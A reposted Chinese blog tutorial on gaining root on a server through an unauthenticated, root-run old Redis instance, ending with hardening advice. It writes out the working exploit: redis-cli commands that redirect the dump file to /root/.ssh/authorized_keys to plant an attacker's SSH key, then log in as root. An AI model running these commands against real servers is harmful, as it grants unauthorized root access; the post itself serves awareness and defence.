利用老版本 Redis 漏洞获取服务器 root 权限。 - Go语言中文社区

利用老版本 Redis 漏洞获取服务器 root 权限。


1. 背景介绍

redis 服务默认情况下是未配置密码的,如果所在服务器恰好开了外网则此时很容易借助 redis 的漏洞获取到目标服务器的 root 权限。
yum 安装的 3.x 系列的 redis 一般默认开启了 protected 模式,此时只能从 127.0.0.1 连接操作 redis-server:

如果远程连接上,则不能进行操作:

如果用户从本地连上 redis-server,执行了诸如 config set protected-mode no,后重启 redis-server,关闭了protected 模式,且 redis-server 是使用 root 权限的用户起的,则此时其他人很容易通过redis 的漏洞获取到 redis 所在服务器的 root 权限,具体操作步骤如下:

2. 漏洞重现

redis-cli -h 远程连接上 redis 实例。

config set dir /root/.ssh       
config set dbfilename authorized_keys
set xxx "nnn本地公钥信息nnn"         #"本地公钥信息"替换为自己的公钥信息
save   


此时本地的公钥信息即可注入到 redis 所在服务器的 authorized_keys 文件中。
直接 ssh root@ip 即可连上 redis-server 所在的服务器。
查看 /root/.ssh/authorized_keys 文件信息可以看到本地公钥已经写入了。

3. 避免
(1) 为 redis 设置密码
(2) redis 不对公网开放
(3) 使用云厂商提供的 redis 服务,我了解的网易云的主从版的 redis 服务和集群版的 redis 服务默认 redis-cli 是没有 config set 配置权限的。

版权声明:本文来源CSDN,感谢博主原创文章,遵循 CC 4.0 by-sa 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/u010472499/article/details/78905701
站方申明:本站部分内容来自社区用户分享,若涉及侵权,请联系站方删除。
  • 发表于 2019-09-04 16:35:08
  • 阅读 ( 1022 )
  • 分类:Redis

0 条评论

请先 登录 后评论

官方社群

GO教程

推荐文章

猜你喜欢